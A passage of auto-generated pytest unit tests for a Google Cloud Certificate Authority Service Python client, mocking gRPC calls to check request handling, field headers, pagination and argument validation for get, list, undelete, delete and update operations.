resources.CertificateAuthority.Type.SELF_SIGNED assert response.tier == resources.CaPool.Tier.ENTERPRISE assert response.state == resources.CertificateAuthority.State.ENABLED assert response.pem_ca_certificates == ["pem_ca_certificates_value"] assert response.gcs_bucket == "gcs_bucket_value" @pytest.mark.asyncio async def test_get_certificate_authority_async_from_dict(): await test_get_certificate_authority_async(request_type=dict) def test_get_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: call.return_value = resources.CertificateAuthority() client.get_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateAuthority() ) await client.get_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_get_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateAuthority() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_get_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_certificate_authority( service.GetCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.asyncio async def test_get_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateAuthority() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateAuthority() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_get_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_certificate_authority( service.GetCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.ListCertificateAuthoritiesRequest, dict,] ) def test_list_certificate_authorities(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateAuthoritiesResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) response = client.list_certificate_authorities(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateAuthoritiesRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificateAuthoritiesPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] def test_list_certificate_authorities_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: client.list_certificate_authorities() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateAuthoritiesRequest() @pytest.mark.asyncio async def test_list_certificate_authorities_async( transport: str = "grpc_asyncio", request_type=service.ListCertificateAuthoritiesRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateAuthoritiesResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) ) response = await client.list_certificate_authorities(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateAuthoritiesRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificateAuthoritiesAsyncPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] @pytest.mark.asyncio async def test_list_certificate_authorities_async_from_dict(): await test_list_certificate_authorities_async(request_type=dict) def test_list_certificate_authorities_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificateAuthoritiesRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: call.return_value = service.ListCertificateAuthoritiesResponse() client.list_certificate_authorities(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_certificate_authorities_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificateAuthoritiesRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateAuthoritiesResponse() ) await client.list_certificate_authorities(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_list_certificate_authorities_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateAuthoritiesResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_certificate_authorities(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val def test_list_certificate_authorities_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_certificate_authorities( service.ListCertificateAuthoritiesRequest(), parent="parent_value", ) @pytest.mark.asyncio async def test_list_certificate_authorities_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateAuthoritiesResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateAuthoritiesResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_certificate_authorities(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val @pytest.mark.asyncio async def test_list_certificate_authorities_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_certificate_authorities( service.ListCertificateAuthoritiesRequest(), parent="parent_value", ) def test_list_certificate_authorities_pager(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), resources.CertificateAuthority(), ], next_page_token="abc", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[], next_page_token="def", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[resources.CertificateAuthority(),], next_page_token="ghi", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), ], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)), ) pager = client.list_certificate_authorities(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, resources.CertificateAuthority) for i in results) def test_list_certificate_authorities_pages(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), resources.CertificateAuthority(), ], next_page_token="abc", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[], next_page_token="def", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[resources.CertificateAuthority(),], next_page_token="ghi", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), ], ), RuntimeError, ) pages = list(client.list_certificate_authorities(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_certificate_authorities_async_pager(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), resources.CertificateAuthority(), ], next_page_token="abc", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[], next_page_token="def", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[resources.CertificateAuthority(),], next_page_token="ghi", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), ], ), RuntimeError, ) async_pager = await client.list_certificate_authorities(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all(isinstance(i, resources.CertificateAuthority) for i in responses) @pytest.mark.asyncio async def test_list_certificate_authorities_async_pages(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_authorities), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), resources.CertificateAuthority(), ], next_page_token="abc", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[], next_page_token="def", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[resources.CertificateAuthority(),], next_page_token="ghi", ), service.ListCertificateAuthoritiesResponse( certificate_authorities=[ resources.CertificateAuthority(), resources.CertificateAuthority(), ], ), RuntimeError, ) pages = [] async for page_ in ( await client.list_certificate_authorities(request={}) ).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.parametrize( "request_type", [service.UndeleteCertificateAuthorityRequest, dict,] ) def test_undelete_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.undelete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.UndeleteCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_undelete_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: client.undelete_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.UndeleteCertificateAuthorityRequest() @pytest.mark.asyncio async def test_undelete_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.UndeleteCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.undelete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.UndeleteCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_undelete_certificate_authority_async_from_dict(): await test_undelete_certificate_authority_async(request_type=dict) def test_undelete_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UndeleteCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.undelete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_undelete_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UndeleteCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.undelete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_undelete_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.undelete_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_undelete_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.undelete_certificate_authority( service.UndeleteCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.asyncio async def test_undelete_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.undelete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.undelete_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_undelete_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.undelete_certificate_authority( service.UndeleteCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.DeleteCertificateAuthorityRequest, dict,] ) def test_delete_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.delete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_delete_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: client.delete_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCertificateAuthorityRequest() @pytest.mark.asyncio async def test_delete_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.DeleteCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.delete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_delete_certificate_authority_async_from_dict(): await test_delete_certificate_authority_async(request_type=dict) def test_delete_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DeleteCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.delete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_delete_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DeleteCertificateAuthorityRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.delete_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_delete_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.delete_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_delete_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.delete_certificate_authority( service.DeleteCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.asyncio async def test_delete_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.delete_certificate_authority(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_delete_certificate_authority_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.delete_certificate_authority( service.DeleteCertificateAuthorityRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.UpdateCertificateAuthorityRequest, dict,] ) def test_update_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.update_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_update_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: client.update_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateAuthorityRequest() @pytest.mark.asyncio async def test_update_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.UpdateCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.update_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_update_certificate_authority_async_from_dict(): await test_update_certificate_authority_async(request_type=dict) def test_update_certificate_authority_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateAuthorityRequest() request.certificate_authority.name = "certificate_authority.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.update_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "certificate_authority.name=certificate_authority.name/value", ) in kw["metadata"] @pytest.mark.asyncio async def test_update_certificate_authority_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateAuthorityRequest() request.certificate_authority.name = "certificate_authority.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.update_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "certificate_authority.name=certificate_authority.name/value", ) in kw["metadata"] def test_update_certificate_authority_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.update_certificate_authority( certificate_authority=resources.CertificateAuthority(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].certificate_authority mock_val = resources.CertificateAuthority(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val def test_update_certificate_authority_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.update_certificate_authority( service.UpdateCertificateAuthorityRequest(), certificate_authority=resources.CertificateAuthority(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.asyncio async def test_update_certificate_authority_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = 